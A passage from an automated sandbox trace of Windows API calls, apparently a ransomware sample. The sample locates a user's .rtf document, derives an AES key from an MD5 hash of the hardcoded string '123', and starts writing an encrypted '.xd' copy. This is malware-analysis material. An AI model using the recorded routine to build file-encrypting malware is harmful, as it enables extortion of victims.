lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.243] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.250] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.250] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.250] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.250] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.250] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.250] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.250] CloseHandle (hObject=0x0) returned 0 [0071.250] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.251] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0071.251] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.251] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.251] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.251] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.251] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.251] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.251] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.251] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.251] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.251] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.252] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.252] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.252] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.252] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.252] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0071.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.253] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.253] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.253] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.253] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.253] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.254] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.254] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.254] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.254] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.254] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.254] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.254] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.257] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.257] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.257] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.258] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.258] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.258] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.258] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.258] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.258] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.259] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.259] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.259] CryptHashData (hHash=0x164c4f0, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.259] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.261] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.261] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.261] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.262] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.262] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.262] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0071.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.265] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.265] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.267] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.267] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0071.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.267] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.267] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qncm8s.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.267] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.267] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.268] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.268] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.268] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.268] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.268] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QnCM8s.rtf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qncm8s.rtf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.269] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.272] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.272] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xd791, lpOverlapped=0x0) returned 1 [0071.276] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.279] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.281] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.281] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.281] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.281] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.281] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.281] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.281] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.282] 